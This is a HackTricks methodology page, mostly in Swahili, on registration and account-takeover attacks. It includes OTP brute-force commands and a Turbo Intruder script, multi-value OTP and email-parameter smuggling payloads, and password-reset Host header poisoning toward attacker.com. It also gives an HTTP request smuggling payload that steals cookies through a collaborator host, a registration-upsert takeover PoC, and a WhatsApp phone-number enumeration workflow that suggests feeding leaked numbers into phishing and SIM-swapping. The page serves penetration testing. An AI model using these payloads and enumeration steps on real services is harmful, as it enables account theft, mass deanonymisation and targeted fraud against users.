Usajili na Udhaifu wa Kuchukua Akaunti
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Registration Takeover
Duplicate Registration
- Jaribu kuunda ukitumia jina la mtumiaji lililopo
- Angalia utofauti wa barua pepe:
- herufi kubwa
- +1@
- ongeza doa fulani kwenye barua pepe
- wahusika maalum katika sehemu ya jina la barua pepe (%00, %09, %20)
- Weka wahusika tupu (blank characters) baada ya barua pepe:
test@test.com a - victim@gmail.com@attacker.com
- victim@attacker.com@gmail.com
- Jaribu tricks za canonicalization za mtoa huduma wa barua pepe (inategemea huduma):
- Gmail ignores dots and subaddressing:
victim+1@gmail.com,v.ic.tim@gmail.comdeliver tovictim@gmail.com - Watoa huduma wengine hawazingatii herufi ndogo/kuu katika local-part
- Watoa huduma wengine wanakubali unicode confusables. Jaribu homoglyphs na soft hyphen
\u00ADndani ya local-part - Dhalilisha haya ili: bypass uniqueness checks, kupata duplicate accounts/workspace invites, au kuzuia signâups za waliotekwa (DoS ya muda) wakati unapojisikia tayari kwa takeover
Username Enumeration
Angalia kama unaweza kubaini wakati jina la mtumiaji limekwisha kusajiliwa ndani ya programu.
- Ujumbe tofauti za kosa au HTTP status codes tofauti
- Tofauti za muda (mtumiaji aliyepo anaweza kuchochea lookup kwa IdP/DB)
- Autofill ya fomu ya usajili ya data za profaili kwa barua pepe zinazojulikana
- Angalia team/invite flows: kuingiza barua pepe kunaweza kufunua kama akaunti ipo
Password Policy
Wakati wa kuunda mtumiaji angalia password policy (angalia kama unaweza kutumia weak passwords).
Katika hali hiyo unaweza kujaribu bruteforce credentials.
SQL Injection
Check this page to learn how to attempt account takeovers or extract information via SQL Injections in registry forms.
Oauth Takeovers
SAML Vulnerabilities
Change Email
Wakati umejisajili jaribu kubadilisha barua pepe na angalia kama mabadiliko haya yathibitishwa ipasavyo au yanaweza kubadilishwa hadi barua pepe yoyote ile.
More Checks
- Angalia kama unaweza kutumia disposable emails (mailinator, yopmail, 1secmail, etc.) au kupita blocklist kwa subaddressing kama
victim+mailinator@gmail.com - Long password (>200) inaweza kusababisha DoS
- Angalia rate limits kwenye uundaji wa akaunti
- Tumia username@burp_collab.net na uchambue callback
- Ikiwa kuna uhakiki wa nambari ya simu, angalia phone parsing/injection edge cases
Contact-discovery / identifier-enumeration oracles
Phone-numberâcentric messengers hufunua presence oracle kila wakati mteja anaposynchronize contacts. Kucheza tena requests za discovery za WhatsApp kihistoria kuliwasilisha >100M lookups per hour, kikiruhusu near-complete account enumerations.
Attack workflow
- Instrument an official client ili kukamata request ya upload ya address-book (authenticated blob ya nambari zilizo normalized kwa E.164). Replay hiyo na nambari zilizoandaliwa na mshambuliaji huku ukireuse cookies/device token ile ile.
- Batch numbers per request: WhatsApp inakubali maelfu ya vitambulisho na hurudisha registered/unregistered pamoja na metadata (business, companion, etc.). Chambua majibu offline ili kujenga orodha za malengo bila kutuma ujumbe kwa waliodungwa.
- Horizontally scale enumeration kwa SIM banks, cloud devices, au residential proxies ili throttling kwa akaunti/IP/ASN isiwahi kushika.
Dialing-plan modeling
Model kila nchi dialing plan ili kupitisha wagombea batili. The NDSS dataset (country-table.*) inaorodhesha country codes, adoption density, na platform split ili uweze kuipa kipaumbele ranges zenye hit nyingi. Example seeding code:
import pandas as pd
from itertools import product
df = pd.read_csv("country-table.csv")
row = df[df["Country"] == "India"].iloc[0]
prefix = "+91" # India mobile numbers are 10 digits
for suffix in product("0123456789", repeat=10):
candidate = prefix + "".join(suffix)
enqueue(candidate)
Prioritise prefixes that match real allocations (Mobile Country Code + National Destination Code) before querying the oracle to keep throughput useful.
Kuibadilisha enumerations kuwa mashambulizi yaliyolengwa
- Feed leaked phone numbers (e.g., Facebookâs 2021 breach) into the oracle to learn which identities are still active before phishing, SIM-swapping, or spamming.
- Slice censuses by country/OS/app type to find regions with weak SMS filtering or heavy WhatsApp Business adoption for localized social engineering.
Public-key reuse correlation
WhatsApp exposes each accountâs X25519 identity key during session setup. Request identity material for every enumerated number and deduplicate the public keys to reveal account farms, cloned clients, or insecure firmwareâshared keys deanonymize multi-SIM operations.
Weak Email/Phone Verification (OTP/Magic Link)
Mchakato wa usajili mara nyingi huhakikisha umiliki kupitia numeric OTP au token ya magic-link. Mapungufu ya kawaida:
- Guessable or short OTP (4â6 digits) with no effective rate limiting or IP/device tracking. Try parallel guesses and header/IP rotation.
- OTP reuse across actions or accounts, or not bound to the specific user/action (e.g., same code works for login and signup, or works after email is changed).
- Multi-value smuggling: some backends accept multiple codes and verify if any matches. Try:
code=000000&code=123456- JSON arrays:
{"code":["000000","123456"]} - Mixed parameter names:
otp=000000&one_time_code=123456 - Comma/pipe separated values:
code=000000,123456orcode=000000|123456 - Response oracle: distinguish wrong vs expired vs wrong-user codes by status/message/body length.
- Tokens not invalidated after success or after password/email change.
- Verification token not tied to user agent/IP allowing cross-origin completion from attacker-controlled pages.
Bruteforcing example with ffuf against a JSON OTP endpoint:
ffuf -w <wordlist_of_codes> -u https://target.tld/api/verify -X POST \
-H 'Content-Type: application/json' \
-d '{"email":"victim@example.com","code":"FUZZ"}' \
-fr 'Invalid|Too many attempts' -mc all
Parallel/concurrent guessing to bypass sequential lockouts (use Turbo Intruder in Burp):
Turbo Intruder snippet ya kufurusha majaribio ya OTP ya tarakimu 6
```python def queueRequests(target, wordlists): engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=30, requestsPerConnection=100) for code in range(0,1000000): body = '{"email":"victim@example.com","code":"%06d"}' % code engine.queue(target.req, body=body)def handleResponse(req, interesting): if req.status != 401 and bâInvalidâ not in req.response: table.add(req)
</details>
- Jaribu racing verification: wasilisha OTP sawa halali kwa wakati mmoja katika vikao viwili; wakati mwingine kikao kimoja kinakuwa akaunti ya mshambuliaji iliyothibitishwa wakati mchakato wa mwathirika pia unafanikiwa.
- Pia jaribu Host header poisoning kwenye viungo vya verification (kama reset poisoning hapo chini) ili leak au kukamilisha uthibitisho kwenye host inayodhibitiwa na mshambuliaji.
<a class="content_ref" href="rate-limit-bypass.md"><span class="content_ref_label">Rate Limit Bypass</span></a>
<a class="content_ref" href="2fa-bypass.md"><span class="content_ref_label">2FA/MFA/OTP Bypass</span></a>
<a class="content_ref" href="email-injections.md"><span class="content_ref_label">Email Injections</span></a>
## Account PreâHijacking Techniques (before the victim signs up)
Daraja ya matatizo yenye nguvu hutokea wakati mshambuliaji anafanya vitendo kwenye barua pepe ya mwathirika kabla mwathirika hajaunda akaunti yao, kisha anarudisha upatikanaji baadaye.
Mbinu muhimu za kujaribu (binafsisha kwa mtiririko wa lengo):
- ClassicâFederated Merge
- Mshambuliaji: anajisajili akaunti ya classic na barua pepe ya mwathirika na kuweka nywila
- Mwathirika: baadaye anajiandikisha kwa SSO (barua pepe hiyo hiyo)
- Merging zisizo salama zinaweza kuacha pande zote zikiwa zimeingia au kurejesha upatikanaji wa mshambuliaji
- Unexpired Session Identifier
- Mshambuliaji: anaunda akaunti na kuzishikilia session iliyo na uhai mrefu (usiyeondoka)
- Mwathirika: anarejesha/anaweka nywila na kutumia akaunti
- Jaribu kama sessions za zamani zinaendelea kuwa halali baada ya reset au kuwezeshwa MFA
- Trojan Identifier
- Mshambuliaji: anaongeza kitambulisho cha pili kwenye akaunti iliyotengenezwa mapema (simu, barua pepe ya ziada, au kuunganisha IdP ya mshambuliaji)
- Mwathirika: anarekebisha nywila; mshambuliaji baadaye anatumia kitambulisho cha trojan kureseti/kuingia
- Unexpired Email Change
- Mshambuliaji: anaanzisha mabadiliko ya barua pepe kwenda barua pepe ya mshambuliaji na anazuia uthibitisho
- Mwathirika: anarejesha akaunti na inaanza kuitumia
- Mshambuliaji: baadaye anakamilisha mabadiliko ya barua pepe yaliyosubiri ili kuiba akaunti
- NonâVerifying IdP
- Mshambuliaji: anatumia IdP isiyothibitisha umiliki wa barua pepe ili kudai `victim@âŚ`
- Mwathirika: anajiandikisha kupitia njia ya classic
- Huduma inaunganisha kwa barua pepe bila kukagua `email_verified` au kufanya uthibitisho wa ndani
Practical tips
- Pata mitiririko na endpoints kutoka web/mobile bundles. Tafuta classic signup, kuunganisha SSO, mabadiliko ya barua pepe/simu, na endpoints za password reset.
- Tengeneza otomatishaji halisi ili kuweka sessions zikiendelea kuwa hai wakati unajaribu mitiririko mingine.
- Kwa majaribio ya SSO, anzisha test OIDC provider na toa tokens zenye `email` claims kwa anwani ya mwathirika na `email_verified=false` ili kuangalia kama RP inaamini IdP zisizo thibitishwa.
- Baada ya password reset yoyote au mabadiliko ya barua pepe, hakikisha kwamba:
- session nyingine zote na tokens zimetenguliwa/haziwezi kutumika tena,
- uwezo wa mabadiliko ya barua pepe/simu uliokusubiri umeghairiwa,
- IdPs/barua pepe/simu zilizokuwa zimeunganishwa tayari zinathibitishwa tena.
Note: Extensive methodology and case studies of these techniques are documented by Microsoftâs preâhijacking research (see References at the end).
<a class="content_ref" href="reset-password.md"><span class="content_ref_label">Reset/Forgotten Password Bypass</span></a>
<a class="content_ref" href="race-condition.md"><span class="content_ref_label">Race Condition</span></a>
## **Password Reset Takeover**
### Password Reset Token Leak Via Referrer <a href="#password-reset-token-leak-via-referrer" id="password-reset-token-leak-via-referrer"></a>
1. Omba password reset kwa anwani yako ya barua pepe
2. Bonyeza kiungo cha password reset
3. Usibadilishe nywila
4. Bonyeza tovuti yoyote ya 3rd party (eg: Facebook, twitter)
5. Intersepti ombi katika Burp Suite proxy
6. Kagua kama referer header inakuwa leak password reset token.
### Password Reset Poisoning <a href="#account-takeover-through-password-reset-poisoning" id="account-takeover-through-password-reset-poisoning"></a>
1. Intersepti ombi la password reset katika Burp Suite
2. Ongeza au badilisha headers zifuatazo katika Burp Suite : `Host: attacker.com`, `X-Forwarded-Host: attacker.com`
3. Tuma ombi ulilobadilisha header\
`http POST https://example.com/reset.php HTTP/1.1 Accept: */* Content-Type: application/json Host: attacker.com`
4. Tafuta URL ya password reset inayotegemea _host header_ kama : `https://attacker.com/reset-password.php?token=TOKEN`
### Password Reset Via Email Parameter <a href="#password-reset-via-email-parameter" id="password-reset-via-email-parameter"></a>
```bash
# parameter pollution
email=victim@mail.com&email=hacker@mail.com
# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}
# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com
# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com
IDOR kwenye vigezo vya API
- Mshambuliaji lazima aingie kwa akaunti yake na aende kwenye kipengele cha Badilisha nywila.
- Anzisha Burp Suite na zuia ombi\
- Tuma kwenye tab ya repeater na hariri vigezo: User ID/email
powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})
Token dhaifu la kurejesha nywila
Token ya kurejesha nywila inapaswa kuzalishwa kwa nasibu na kuwa ya kipekee kila wakati.
Jaribu kubaini kama token inaisha muda au kama ni ile ile kila mara; katika baadhi ya kesi algorithimu ya uzalishaji ni dhaifu na inaweza kukadiriwa. Vigezo vifuatavyo vinaweza kutumika na algorithimu.
- Timestamp
- UserID
- Email of User
- Firstname and Lastname
- Date of Birth
- Kriptografia
- Nambari tu
- Mfululizo mdogo wa tokeni (herufi kati ya [A-Z,a-z,0-9])
- Matumizi tena ya tokeni
- Tarehe ya kumalizika kwa tokeni
Leaking Password Reset Token
- Trigger a password reset request using the API/UI for a specific email e.g: test@mail.com
- Chunguza majibu ya server na angalia
resetToken - Kisha tumia token kwenye URL kama
https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]
Password Reset Via Username Collision
- Jisajili kwenye mfumo kwa jina la mtumiaji linalofanana na la mwathiriwa, lakini ukiacha nafasi tupu kabla na/au baada ya jina la mtumiaji. mf:
"admin " - Omba kurejesha nywila ukitumia jina lako la mtumiaji lenye nia mbaya.
- Tumia token iliyotumwa kwa barua pepe yako na rejesha nywila ya mwathiriwa.
- Ingia kwenye akaunti ya mwathiriwa kwa nywila mpya.
Jukwaa CTFd liliathiriwa na shambulio hili.
See: CVE-2020-7245
Account Takeover Via Cross Site Scripting
- Tafuta XSS ndani ya application au subdomain ikiwa cookies zimewekwa kwa domain kuu :
*.domain.com - Leak the current sessions cookie
- Thibitisha kama mtumiaji ukitumia cookie
Account Takeover Via HTTP Request Smuggling
- Tumia smuggler kugundua aina ya HTTP Request Smuggling (CL, TE, CL.TE)
powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h\ - Tengeneza ombi litakaloandika
POST / HTTP/1.1kwa data ifuatayo:GET http://something.burpcollaborator.net HTTP/1.1 X:lengo likiwa kufanya open redirect wahasiriwa kwenda burpcollab na kuiba cookies zao\ - Ombi la mwisho linaweza kuonekana kama lifuatalo
GET / HTTP/1.1
Transfer-Encoding: chunked
Host: something.com
User-Agent: Smuggler/v1.0
Content-Length: 83
0
GET http://something.burpcollaborator.net HTTP/1.1
X: X
Hackerone reports exploiting this bug\
Kuchukua Akaunti kupitia CSRF
- Tengeneza payload kwa CSRF, mfano: âfomu ya HTML inayojisubmit moja kwa moja kwa ajili ya kubadilisha nywilaâ
- Tuma payload
Kuchukua Akaunti kupitia JWT
JSON Web Token inaweza kutumika kuthibitisha mtumiaji.
- Badilisha JWT kwa User ID / Email tofauti
- Angalia saini dhaifu ya JWT
JWT Vulnerabilities (Json Web Tokens)
Registration-as-Reset (Upsert on Existing Email)
Baadhi ya signup handlers hufanya upsert wakati email iliyotolewa tayari ipo. Ikiwa endpoint inakubali minimal body yenye email na password na haitekelezi ownership verification, kutuma email ya mwanaathiriwa kunaweza kuandika password yao upya pre-auth.
- Discovery: kusanya majina ya endpoint kutoka bundled JS (au mobile app traffic), kisha fuzz base paths kama /parents/application/v4/admin/FUZZ kwa kutumia ffuf/dirsearch.
- Vidokezo vya method: GET inayorejesha ujumbe kama âOnly POST request is allowed.â mara nyingi inaonyesha verb sahihi na kwamba JSON body inatarajiwa.
- Minimal body iliyoshuhudiwa kwa vitendo:
{"email":"victim@example.com","password":"New@12345"}
Mfano wa PoC:
POST /parents/application/v4/admin/doRegistrationEntries HTTP/1.1
Host: www.target.tld
Content-Type: application/json
{"email":"victim@example.com","password":"New@12345"}
Athari: Full Account Takeover (ATO) bila reset token, OTP, au email verification.
Marejeo
- How I Found a Critical Password Reset Bug (Registration upsert ATO)
- Microsoft MSRC â Preâhijacking attacks on web user accounts (May 2022)
- https://salmonsec.com/cheatsheet/account_takeover
- Hey there! You are using WhatsApp: Enumerating Three Billion Accounts for Security and Privacy (NDSS 2026 paper & dataset)
Tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na đŹ kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter đŚ @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks

